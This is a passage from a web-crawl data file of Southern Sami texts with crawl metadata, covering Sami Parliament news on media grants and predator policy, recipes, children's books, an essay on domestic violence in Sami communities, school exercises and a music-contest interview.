uvtemes lea \"stoerresiebriedahkenöörjen\" akten garmeres åarjelsaemien nïejtese nænnoes domtesigujmie dan aerpievuekien båatsose.\nSaemiedigkieraerie Mikkel Eskil Mikkelsen jeahta vihkeles produksjovnh dåarjoehtidh mah leah ussjedamme saemien maanide jïh noeride. Joekoen vaenie faalenassh daan dåahkan gååvnesieh, joekoen julev- jïh åarjelsaemien maanide.\n–Mijjieh joekoen geerjene mijjieh maehtebe dåarjoem vedtedh daan prosjektese. Raajroen akte gieltegs teema, man sisnie gellie saemien maanah maehtieh jïjtjemsh damtijieh. Raajroe aktem guvviem åehpiedahta dehtie saemien kultuvreste gusnie aerpievuekien jïh daajbaaletje tsiehkieh gaavnedieh. Dïhte aktem gellielaaketje saemien kultuvrem vuesehte, jïh akte vihkeles åehpiedehteme sjædta dovne saemien jïh daaroen maanide, saemiedigkieraerie jeahta.\nMeedijefaalenassh saemiengïelesne\nDåarjoe saemiedigkieraereste lea prioriteradimmiej mietie Ballehtassh-bæjhkoehtimmesne, saemiedigkieraerien aalkoebæjhkoehtimmie, gusnie gaskem jeatjah tjïerteste man vihkeles lea gorredidh saemien gïelh govloeh jïh åtnasuvvieh. Saemiedigkieraerie aaj tuhtjie vihkeles hoksedh saemien maanah jïh noerh aktem hijven meedijafaalenassem åadtjoeh.\n–Saemien maanah jïh noerh meedijafaalenassem daarpesjieh mah dej jieledem vuesiehtieh jïjtsh gïeline, eadtjohkelaakan. Daate akte vieksiesvoete maanaj identiteetese jïh aaj akte sijjie sjædta gïelese. Dan åvteste vihkeles dagkerh prosjektide hijven kvaliteeteste sjïehteladtedh, Mikkelsen jeahta.\nProduksjovne dehtie åarjelsaemien maana-TV-raajroste \"Sööfe\" lea akte laavenjostoe gaskem TMM produksjovne AS jïh NRK Super jïh NRK Sápmi, jïh raajroe sæjhta seedtesovvedh NRK:sne. Seamma produksjovnesïelte lea aaj dam åarjelsaemien maana-tv-raajroem \"Laara jïh Leisa\" dorjeme, mij aaj NRK:sne seedtesovvi.\nSaemiedigkieraerie lea dåarjoem 300.000 kråvnine vadteme budsjedtepåasteste regijonaale evtiedimmieprosjekti bïjre.\nJis vielie bïevnesh sïjhth gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen, tellefovne: 917 42 161","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRD-AAarjelsaemien-maana-TV-m-daaaarje-300.000-kraavnajgujmie","date":"2019-07-21T23:04:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527396.78\/warc\/CC-MAIN-20190721225759-20190722011759-00105.warc.gz","language":"sma","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000041723251343}","num_words":254,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien\nMij gïehtjedimmiemoenehtse?\nTjïelteståvroe jïh fylhkendigkie aktem gïehtjedimmiemoenehtsem jïjtjh veeljieh mij edtja iktemearan jïjtsh reeremem vaaksjodh jïh gïehtjedidh. Gïehtjedimmiemoenehtse edtja aaj gïehtjedidh tjïelte jallh fylhkentjïelte aktem eensi revisjovneöörnegem utnieh. Moenehtse lahtestimmiem tjïelteståvrose vadta tjïelten reeknehlåhkoej bïjre jïh reektie voen gosse eevre daerpies.\nReeremerevisjovne vaeljehke dïenesjesuerkijste jïh aajhterevoetegïehtjedimmie tjïelten sïeltijste leah laavenjassh mej åvteste gïehtjedimmiemoenehtse dïedtem åtna laaken mietie.\nMieriedimmie gïehtjedimmiemoenehtsen bïjre tjïeltine jïh fylhkentjïeltine\nGïeh lïhtsegh gïehtjedimmiemoenehtsisnie?\nTjïelteståvroe lïhtsegh gïehtjedimmiemoenehtsasse veeljie. Ij gåaredh veeljedh dejtie mah barkoem tjïeltesne utnieh. Gïehtjedimmiemoenehtse edtja unnemes golme lïhtsegh utnedh mejstie unnemes akte lea lïhtsege tjïelteståvrosne.\nMaahtam goh årroje tjïelten nænnoestimmide gïehtjedimmiemoenehtsasse laejhtedh?\nGïehtjedimmiemoenehtsen lea dïedte eadtjohke årrodh gaajhkine gyhtjelassine dïejvesen sisnjelen \"gïehtjedimmie jïh vaaksjome\", jïh årrojh maehtieh moenehtsem birredh aamhtesh vuarjasjidh gusnie vienhtieh akte vaanoe tjïelten dïenesjisnie.\nGïehtjedimmiemoenehtse ij leah laejhtemeårgaane, jïh maahta dan åvteste ij laejhtemh aktegsaamhtesidie gïetedidh. Tjïelti leah jïjtsh laejhtemeårgaanh mah dagkerh aamhtesh gïetedieh, daamtajommes tjïelten åejvieladtjeraerie. Gïehtjedimmiemoenehtse ij maehtieh politihkeles nænnoestimmieh vuartasjidh jïh gïehtjedidh.\nGuktie gaskesem vaaltam gïehtjedimmiemoenehtsinie?\nDatne nommide gïehtjedimmiemoenehtsen lïhtsegidie gaavnh fïereguhtene \"Kontrollutvalg\" menyesne bijjemes. Datne maahtah moenehtsidie gaskesadtedh tjaelijesijjien tjïrrh. Govlehtallemebïevnesh tjaelijesæjjan maehtieh seedtesovvedh diekie email@example.com.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/www.konsek.no\/aarjelsaemien\/","date":"2019-07-22T13:53:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195528037.92\/warc\/CC-MAIN-20190722133851-20190722155851-00297.warc.gz","language":"sma","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 1.000005841255188}","num_words":179,"character_repetition_ratio":0.145,"word_repetition_ratio":0.0,"special_characters_ratio":0.109,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gejhkie meelemebearkoe\n1. Berit Marie lea njaaregem jïh boerkem daennie prosessesne nuhtjeme. Dïhte jeahta maaje jeatjah bearkoe aaj maahta åtnasovvedh.\n2. Tjoehpedh bearkoem jïh mænngan dam meelh.\n3. Fïerhten tjahtese bearkoste datne 4 busth saelhteste jïh 1 bustem dïjnehkistie lissehth.\n4. Daanjh dom meeleme bearkoem goske daajje tjovtjehke sjædta, jïh olles smealhkoeh gosse gajhka.\n5. Plïehtjestehtieh daajjem goske jassoe lea akte centimeetere. Nuhtjh maaje plïehtjehtahkem mij lea rånhtjan.\n6. Bïejh dam plïehtjehtamme daajjem gaahkoepåasseni sïjse.\n7. Datne tjoerh hælloem daejvies strientjeviermeste utnedh daan barkose. Gosse bearkoem hællose bïejh dellie påassenem tjoehpesth guktie plaaste ajve lea bearkoen nuelesne. Jårrehth bearkoem mubpien biejjien jïh vaeltieh påassenidie destie.\n8. Gajhkesjimmieprosesse vaasa 2 våhkoeh. Jårrehth daajjem \/bearkoem fïerhten biejjien.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/samimag.no\/se\/node\/1218","date":"2019-07-17T04:30:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525046.5\/warc\/CC-MAIN-20190717041500-20190717063500-00017.warc.gz","language":"sma","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000027418136597}","num_words":104,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Saemiedigkie tjuara stuerebe tsevtsemefaamoem nasjonaale juvrepolitihkesne jïh reeremisnie utnedh. Daan beajjetje politihke jïh reereme stoerre dåeriesmoerh båatsose jïh jåartabårran sjugniedieh. Gåatomekreekh mah juvrijste båvvalgieh stoerre ekonomeles teehpemh jïh psykiske vaejvieh sjugniedieh jeenjesidie, Wollmann Magga jeahta.\nSaemiedigkie dan åvteste barkeminie ihke teehpeme mah leah juvri gaavhtan tjarke geahpene guktie doh saemien gåatomejielemh maehtieh sijjen aerpievuekien gåatomedajvh gåatoemasse nuhtjedh.\n- Mov stoerre tjoeperdimmie lea åejvieladtji ryökneme juvrijste sagke vaenebh juvrh vuesehte goh dïhte maam båatsoesaemieh jïh sïrvebåantah dååjrehtieh jïh man bïjre daajroem utnieh. Gosse dan joekehts goerkesem daaletje tsiehkien bïjre utnieh dellie aaj nåake ektiebarkoeklijma sjædta, Magga jeahta.\n- Gosse akte båatsoesaemie soptseste gusnie satne lea juvrh vuajneme, jallh mah teehpemh satne lea åtneme, ij dïhte naan stoerre leavloem åadtjoeh. Aerpievuekien daajroe jïh dååjrehtimmie tjuerieh aktem jeatjah vihkelesvoetem åadtjodh goh mijjieh libie vuajneme daan mearan.\nMagga jeahta vielie dotkeme aaj daerpies orre teehpemeheerreden råajvarimmiej bïjre. Gosse gellie jaepieh vuesiehtimmien gaavhtan vuajneme gosse aaltoe giedtien sisnie guadta, dellie gïerkehtse ajve beapmoem aelhkebelaakan gaavna, dellie tjuara maam akt jeatjah hæhtadidh.\nSaemiedigkien råålla\nSaemiedigkie maahta juvre-aamhtesinie tsevtsedh uvtemes rååresjimmiej tjïrrh staateles åejvieladtjigujmie.\nSaemiedigkie daan biejjien göökte lïhtsegh govhte lïhtsegijstie nammohte dejtie golme noerhtemes juvremoenehtsidie Finnmarhke\/Troms, Nordlaante jïh Trööndelage, jïh akte lïhtsege vïjhtijste juvremoenehtsasse Hedmaarhkesne. Juvremoenehtsh dïedtem utnieh ihke nasjonaale juvrepolitihke tjïrrehtamme sjædta sov regijovnesne.\nSaemiedigkie aaj meatan aktene nasjonaale gaskesemoenehtsisnie juvrereeremasse mij gaavnede göökth jaepien. Dïedte daan moenehtsen åvteste lea bïejeme Byjresedirektoraatese.\n- Mijjieh sïjhtebe rååresjimmielatjkoem eadtjohkelaakan nuhtjedh juktie aktem juvrepolitihkem jaksedh mij saemien gåatomejielemh krööhkeste, jïh leavloem bïejedh staaten almetjerïekteles åeliedimmieh juktie saemien gåatomejielemi båetijem aejkiem gorredidh, Magga jeahta.\nMagga jeahta Saemiedigkie juvredåeriesmoeride itjmieslaakan vaalta. Saemiedigkie lea göökte bïevnesh gïetedamme 2016 gusnie juvredåeriesmoeride ållermaahteme.\nGellie prosessh juhtieminie\nMagga soptseste daelie jienebh stuerebh prosessh juhtieminie mejtie Saemiedigkie veelelaakan fulkie. Reereme gïerkehtsistie, evalueradimmie regijonaale juvrereeremistie, sïejpeliktese jïh tjïrrehtimmie liktesistie, raeriestimmie orre mieriedæmman juvreskaaramaaksoen bïjre leah aamhtesh mah stoerre ulmiem utnieh båatsoesaemide jïh sïrvebåantide.\nAerpievuekien daajroe jïh dååjrehtimmie\n- Minngemes jaepien Saemiedigkie lea barkeme ihke reereme aerpievuekien daajroem jïh dååjrehtimmiem nuhtjie goh daajroe- jïh sjæjsjalimmievåarome, jïh nænnoesåbpoe fokusem åtna almetjereaktese juvrepolitihken bïjre, jïh guktie dïhte reeresåvva. Mijjieh göökte salkehtimmieh dongkeme, akte aerpievuekien daajroen bïjre jïh akte almetjerïekteles vuajnoej bïjre juvrereeremisnie, Magga soptseste.\nSaemiedigkieraerien mïelen mietie lea daerpies Rijhkerevisjovne juvrereeremem goerehte. Aktene dagkeres revisjovnesne byöroe goerehtidh mejtie Stoerredigkien nænnoestimmie veahkaulmiej bïjre bæjjese fulkesåvva, jïh mejtie juvreliktese lea dej konvensjovni mietie mejtie Nöörje lea jååhkesjamme, gaskem jeatjah ILO-konvensjovne nr. 169 jïh EN:n konvensjovne sivijle jïh politihkeles reaktaj bïjre.\nMagga jeahta dastegh daan beajjetje juvrepolitihke jïh juvrereereme jåerhkieh, dellie daate sæjhta dam materijelle våaromem saemien gåatomejieliemidie håvhtadidh, mij vihth sæjhta saemien gïelem jïh kultuvrem håvhtadidh. Tjuara juvrereeremem hammoedidh naemhtie guktie juvreveahka dan smaave teehpemh gåatomejieliemidie sjugnede goh gåarede.\nSaemiedigkien stoerretjåanghkoe strategijh juvrepolitihkese gïetede duarstan ruffien 1.b.\nVielie bïevnesh: Saemiedigkieraerie Mariann Wollmann Magga, 977 02 350","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Saejhta-stuerebe-tsevtsemefaamoem-juvrepolitihkese-jih-reeremasse-utnedh","date":"2019-07-19T12:01:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526237.47\/warc\/CC-MAIN-20190719115720-20190719141720-00133.warc.gz","language":"sma","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000009536743164}","num_words":446,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Solveig Katarina Fossum Norberg - Snåasen skuvle\nBalss Solveig K. Fossum Norberg\nSnåase gaske Nöörjesne. Snåasen tjïelte Trööndelagen mubpie stööremes tjïelte. Medtie 2100 almetjh Snåasesne årroeh.5\nSnåase lea guektiengïelen tjïelte. Daaroen gïele jïh åarjelsaemien gïele seammavyörtegs tjïeltesne.7\nAesesne, Bergsåsen, plåamstere Cypripedium calceolus gååvnese. Daate plåamstere lea Snåasen tjïeltenvæhta.9\nSnåasen tjïeltesne jïjnjh vaerieh jïh bijjelen 2000 gööleme-jaevrieh. Snåasenjaevrie govhtede stööremes jaevrie Nöörjesne.11\nSnåasesne golme maadth-skuvlh, Snåasen Montessori skuvle, Snåasen skuvle jïh Åarjel-saemiej skuvle.13\nÅarjel-saemiej skuvle lea saemien skuvle. Naan learohkh jeatjah tjïeltijste båetieh, jïh dah internaatesne årroeh gosse skuvlesne vaedtsieh.15\nSnåasesne ånnetji industrije, feeladasse, gellie gaertenh gusnie govsh, snurkh jïh sïrvh jïh gellie gïeh båatsojne berkieh.17\nSaemien sïjte lea saemien museume jïh kultuvrejarnge mij åarjelsaemien kultuvrem jïh histovrijem vuesehte.19\nSnåasen gærhkoe gierkijste jïh båarasommes gærhkoste 800 jaepien båeries.21\nJoralf Gjerstad åahpies abpe Nöörjesne juktie dan leah \"baahke gïeth\". Dïhte gellie almetjh jealajahteme. Dïhte \"Snåsamannen\" gåhtjesåvva.23\nMåjhtah man gellie gööleme-jaevrieh Snåasen tjïeltesne?25\nFoto\/ Myndir\/ Asseq\/ Valokuva\/ Guvvieh\/ Nuotraukos\/ Photo:\nS1+10+12+14+16+18+24: Anita Dunfjeld Aagård\nS4: Commons.wikimedia.org\nS6: Saemien Sïjte\nS8: Even Jarl Skoglund - commons.wikimedia.org\nS20: Klevsand - commons.wikimedia.org\nS22: Bjarne Thune - commons.wikimedia.org","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/atlantbib.org\/lv\/node\/1045","date":"2019-07-18T15:01:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525634.13\/warc\/CC-MAIN-20190718125048-20190718151048-00309.warc.gz","language":"sma","language_score":0.9965083599,"language_script":"Latn","minhash_cluster_size":160,"top_langs":"{\"sma_Latn_score\": 0.9965083599090576}","num_words":174,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jon Anta - Solveig - Jone - Jonna - Mia - Hilma jïh Nisse Åarjel-saemiej skuvle\nLuettu: Mia Erika Sparrok\nDaennie gærjesne åadtjoeh lohkedh guktie maahtah gaskebiejjie-beapmoem bovtsen-bearkoste jurjiehtidh.5\nBovtsen-bearkoe bööremes bearkoe maam maahtah byöpmedidh. Bovtsh frijje jïh ålkone abpe jaepiem. Dah barre giedtesne gosse edtjebe dejtie mïerhkesjidh, raerhkedh jïh leekedidh.7\nRudtjem tjoerh lïhtsiestidh. Dellie bearkoem voessjeme-læhtan bïejh jïh tjaetsiem dievhtieh guktie bearkoen bijjelen.9\nGosse doelteminie, dellie saptem gåajvohth. Dan mænngan saelhtiem krovhtese bïejh. Baajh doeltedh 2 tæjmoeh, dellie riejries jïh maahtah byöpmedidh.11\nNjoektjemh jïh måarah seammalaakan voessjh goh lïhtse-bearkoeh, men ånnetji vielie saelhtiem nuhtjh.13\nTjåamehtse-bearkoe bovtsen åvte-juelkeste. Voestegh tjoerh tjåamehtse-bearkoem bijredh.15\nKrovhtesne bearkoem bæssah. Gosse bearkoem bisseme, dellie tjoerh löökem tjoehpedh jïh bissedh. Minngemes tjoerh ånnetji saelhtiem krovhtese bïejedh.17\nSis-soen'åedtjide tjoehph jïh bisseme-paannesne bæssah. Dellie ånnetji saelhtiem bïejh.19\nTjoehph kruanesaatide jïh bissieh dejtie vuebnesne åljine, saelhtine jïh timianine.21\nNjaelkies govloe?23\nFoto\/ Myndir\/ Asseq\/ Valokuva\/ Guvvieh\/ Nuotraukos\/ Photo:\nS1: Robin - flickr.com + Peter C - pixabay.com\nS4+8+10+12+14: Åarjel-saemiej skuvle\nS6: Наталья Коллегова - pixabay.com","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/atlantbib.org\/fi\/node\/822","date":"2019-07-22T23:05:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195528290.72\/warc\/CC-MAIN-20190722221756-20190723003756-00122.warc.gz","language":"sma","language_score":0.999990344,"language_script":"Latn","minhash_cluster_size":153,"top_langs":"{\"sma_Latn_score\": 0.9999903440475464}","num_words":155,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"–Gegkeste buerebe sjædta orre latjkojne\nTjåetskemesmearhka klaeriem åådtje biejjeste, pleentesåvva bovtsi voejngenassine. Gaskoeh krievvesne akte 18 jaepien båeries nïejte tjåådtje, rööpses vaarjoejgujmie. Hævvi lij byöreme skuvlesne årrodh, men daan biejjien aehtjebe viehkiem daarpesji giedtesne. Seammalaakan gellide noeride båatsosne, dah tjuerieh dovne ööhpehtimmiem vaeltedh jïh dejstie båarasåbpoe almetjijstie lïeredh. Akte haesteme men aaj akte kvaliteetemïerhke.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/samimag.no\/sma","date":"2019-07-17T04:36:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525046.5\/warc\/CC-MAIN-20190717041500-20190717063500-00398.warc.gz","language":"sma","language_score":0.9999998808,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 0.9999998807907104}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan biejjien, nyjsenebiejjien, Saemiedigkie jïh Justijsedepartemeente aktem dotkemereektehtsem åehpiedehtieh vædtsoesvoeten bïjre lïhke fuelhkine saemien siebriedahkine. Reektehtsen våarome lea soptsestallemh faagealmetjigujmie jïh viehkieinstansigujmie Saepmesne, jïh kreajnohte guktie saemien leerhkehtallijh dåastoehtamme sjidtieh viehkieabparaateste. Mejtie lea tsiehkieh saemien siebriedahken sisnie jallh ålkolen mij gaavnoem vædtsoesvoeteste tsavtsa, aaj gïetesåvva.\nMijjieh Saminoren dotkemereektehtsem mujhtebe mij bööti 2015, mij reektehti raajan 49 % dejstie saemien nyjsenæjjijste lin vædtsoesvoetem dååjreme. Daah taalh mijjem tjarke ierielin, jïh teemam gïeregasse bïejin dan politihkeles biejjieöörnegisnie Saepmesne. Mijjieh daarpesjimh guarkedh man åvteste daate sjugniehtåvva?\nFaagealmetjh jïh pollise lea vihkeles gïelh buakteme reektehtsisnie. Daerpies girmedh dah sijhtieh jïh væljoem utnieh laejhtehkslaakan jïjtsh barkoem jïh haestemh vuartasjidh. Jïjnje hijven barkoe faagesuerkesne dorjesåvva, men aaj stoerre haestiemidie tjuvtjiedieh. Viehkieabparaate aaj damta daate akte suerkie mij lea dïeves sjeavodsvoeteste jïh taabuvijstie. Gïerve ryöktesth gihtjedh vædtsoesvoeten bïjre. Men guktie akte båehtjierdæjja jeahta. «Jis doesth gihtjedh, almetjh duestieh vaestiedidh.»\nAaj tjïerteste sjïere haestemh gååvnesieh gosse leerhkehtallijh saemien maadtojne gaavnedieh. Saemien årroji luvnie lea vuelege seahkarimmie pollisese jïh viehkieabparaatese. Daam faatoes seahkarimmiem tjuara tjoevkesisnie vuejnedh aktede tjarke daaroedehteme- jïh assimileradimmiepolitihkeste saemiej vööste. Vååjnoe goh mijjieh aaj daennie suerkesne meatan guedtebe dam leevles aerpiem daaroedehtemepolitihkeste. Goh akte dejstie mah lin meatan studijisnie jeahta. «Im leah dan jïjnjem nöörjen byjresisnie barkeme, men vïenhtem mijjieh seahkarimmiem fååtesibie, ånnetji histovrijes vaejviej gaavhtan dan åvteste saemieh leah assimileradamme sjïdteme, dah leah noerhkesovveme daaroestidh. Ibie leajhtedh naan åejvieladtjh – gærhkoem jïh skuvlem jïh daejremevoetedotkijh, amma dagkerh almetjh mejtie mijjieh lïereme ibie edtjh leajhtadidh.»\nSaemien gïele- jïh kultuvremaahtoe lea vihkeles daennie suerkesne. Itjmies persovneles mïedtelimmiej bïjre soptsestidh bööremeslaakan jïjtse ietniengielesne dorje akten viehkieabparaatese mij guarka mennie siebriedahkesne datne veasoeminie.\nMijjen akte gamte sjeavodsvoetekultuvre gelline dejstie saemien siebriedahkijste. Jeenjesh eah jååhkesjh jis naakenh vædtsoesvoeten bïjre bïeljelieh. Dïhte maahta abpe fuelhkien earoem fæjloedidh, jaa dagke aaj saemien siebriedahken earoem. Maehtebe aerviedidh jeenjesh leah tjoereme jïjnjh vaassjegeajnoeh töölledh juktie dam ektie fasaadem steeredh. Læstadijanen åålmege lea vihkeles gellide saemide, men ij gåessie gænnah maehtieh reaktoe sjïdtedh gosse religijovne åtnasåvva juktie offerasse skaamoem jïh skåltoem vedtedh. Mijjieh tjoerebe doestedh dan bïjre bïeljelidh. Vædtsoesvoete lïhke fuelhkine ij leah akte privaate aamhtese maam edtjebe sisnjelds loetedh. Åtnoe vædtsoesvoeteste lea luhpehts, jïh reaktasysteeme mestie aaj mijjieh saemieh akte bielie, edtja dam gïetedidh.\nMijjieh aaj daarpesjibie mytam dan veaksehke saemien bïjre nåhkehtidh, mij edtja gaajhkem töölledh. Tjoerebe nåhkehtidh dejtie gaertjies vuajnojde mah jiehtieh saemien nïejth jïh nyjsenæjjah edtjieh vædtsoesvoetem sijjen lïhkemes fuelhkeste töölledh. Mijjieh siebriedahkem daarpesjibie gusnie seahkarimmiem åtna jïjtse raastide jïh gusnie ij naan vædtsoesvoetem jååhkesjh. Ij gåaredh dam fer daamtaj jiehtedh: dïedte vædtsoesvoeten jïh daaresjimmiej åvteste lea daaresjæjjan luvnie, ij leerhkehtallijen luvnie.\nDaejnie reektehtsinie libie aktem sïllem guhkiebasse vaalteme juktie vædtsoesvoeten vööste gæmhpodh lïhke fuelhkine saemien siebriedahkesne. Ij vaenebe vædtsoesvoete sjidth jalhts dotkeme teeman bïjre, men mijjieh viehkiehtibie taabuvh teeman bïjre tsööpkedh gosse mijjieh dam ræhpaslaakan digkiedibie. Vïenhtem saemien siebriedahke lea riejries dagkeres digkiedimmiem vaeltedh.\nMen ibie maehtieh daam barkoem oktegh darjodh. Doh göökte jaepieh mah leah vaaseme mænngan Saminor sov taalh åehpiedehti gaavnoen bïjre vædtsoesvoeteste saemien siebriedahkine, ibie dan jïjnjem govleme staateles åejvieladtjijste. Daajroen gaavhtan maam daelie utnebe lea daerpies tjïelke råajvarimmiejgujmie. Men mijjieh vielie daajroem suerkesne daarpesjibie, ibie hov gaajhkem daejrieh maam daarpesjibie daejredh daennie suerkesne.\nSaemiedigkieraerie sæjhta dam bæjjese fulkedh govlesadtemisnie staateles åejvieladtjigujmie. Tjoerebe tjyölkehke årrodh mijjieh sjïere råajvarimmieh daarpesjibie juktie daam dåeriesmoerem dåastodh, jïh mijjieh daarpesjibie mij akte daelie dorjesåvva. Gosse saemien åålmege lea riejries sjeavodsvoetem jïh skaamoem tsööpkedh, dellie stoerresiebriedahke ij tjoerh eevre sjeavodsvoetine vaestiedidh.\nVibeke Larsen","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Aellieh-sjeavohth-aarroeh","date":"2019-07-19T13:20:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526237.47\/warc\/CC-MAIN-20190719115720-20190719141720-00106.warc.gz","language":"sma","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.000006079673767}","num_words":557,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjassh:\n1. Lohkh tjaalegem: VOESSEM TSAGKEDH\n2.Tjaktje lea. Datne edtjh vaaran vuelkedh jïh desnie edtjh golme biejjieh årrodh. Ij leah naan hæhtjoe dagkoe gogkoe edtjh vaedtsedh.\na)Darjoeh læstoem mij vuesehte maam edtjh meatan vaeltedh.\nb)Mij lea vihkielommes meatan vaeltedh destie maam læstosne tjaaleme ?\nc) Mij ij leah dan vihkeles meatan vaeltedh?\n3. Gaavnh deerpegh mah daerpies gosse edtjh vaaran jallh skåajjese, jïh tsagkh voessem. Jïjtje veeljh man guhkiem jïh man gåhkese vuelkedh.\na) Soptsesth jallh tjaelieh maam datne darjoeh.\nb) Tjïelkesth eensilaakan guktie voessem tsagkh.\nc) Vaeltieh guvvieh tsagkemistie. Tjaelieh teeksth guvvide jïh darjoeh aamhtesetjaalegem dan tsagkemen bïjre.\n4. Man bïjre vihkeles ussjedidh eannan voessem tsagkh?\n5. Dov naan buerie raerieh guktie tsagkedh?\n6. Lohkh dam aamhtesetjaalegem jïh destie eadtjalduvvieh. Tjaelieh novellem jallh tjihtesem aamhtesen bïjre.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/kuvsje.oahpa.no\/index.php\/2014\/04\/24\/voessem-tsagkedh\/","date":"2019-07-22T03:57:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527474.85\/warc\/CC-MAIN-20190722030952-20190722052952-00498.warc.gz","language":"sma","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 1.0000096559524536}","num_words":121,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"–Akte joekoen sjollehke domtese\n–Dan joekoen hijven domtoe gosse åadtjoem Åarjel Saepmien åvteste årrodh jïh lissine vitnedh. Daelie ååpsen guhkiem mænngan naaken mijjen dajveste vitnie, Saara Hermansson SÁMI Ođasmagasiidnese jeahta.\nVuelie\nDaate lea mubpien aejkien Hermansson lea meatan Sámi Grand Prixesne. Dæjman lij meatan laavloeminie \"Festivaale-dobtesh\". Daan jaepien lij meatan laavloeminie \"Mov laavlome\" jïh dejnie vitni.\n- Almetjh mov laavlomem lyjhkin. Im daejrieh mejtie lij refrengen vuelie. Im disse ussjedamme, dan åvteste vuelie lea eevre iemie munnjien. Im gåessie gih musihkem tjaaleme vuelien namhtah, dïhte læhkoes vitnije jeahta.\nGïelefeeleme Jalhts dïhte lea noere, dellie dïhte 22 jaepien båeries nïejte jïjnjem scenesne tjåådtjeme jïh jïjnjem musihkine barkeme. Åarjelsaemien vihkeles disse jïh dïhte sov musihkebarkoem buerkeste goh akte gïelefeeleme.\n–Manne iktesth musihkine gïehtelamme. Doh njieljie minngemes jaepieh leam saemien musihkine barkeme. Joekoen vihkeles munnjien mov musihkem åarjelsaemien gïelesne åehpiedehtedh. Jalhts maahta geerve årrodh teekstide åarjelsaemien gïelesne tjaeledh, dellie njaelkie domtoe vaajmoegïelesne laavlodh. Musihkine gïehtelidh lea akte gïelefeeleme munnjien, jïh vihkeles munnjien biejjieladtje gïeline barkedh dovne mov gaavhtan jïh mubpiej gaavhtan. Daan biejjien aaj lohkehtæjjine barkem dejtie mah åarjelsaemien mubpiengïeline utnieh.\nCD jïh konserth\nDaan raajan Saara Hermansson ij naan CD:m luajhteme. SGP:m vitnedh aktem lissie skraejriem jïh ïedtjem vadta daan ulmien vööste barkedh.\n–Manne jïjtje tjaalam jïh musihkem darjoem gaajhkide laavloemidie. Aktem CD:m bæjhkoehtidh lea akte nïekedasse maam åtnam. Gosse SGP:m vitneme dellie damtem manne aktem sïlle åvtese vaalteme. Mov lea såemies materijelle jïh stoerre skraejriem jïh ïedtjem åådtjeme orre materijellem darjodh.\nGoh vitnije Saemien Grand Prixeste dïhte 20 000 kråvnah jïh aktem jïjtse 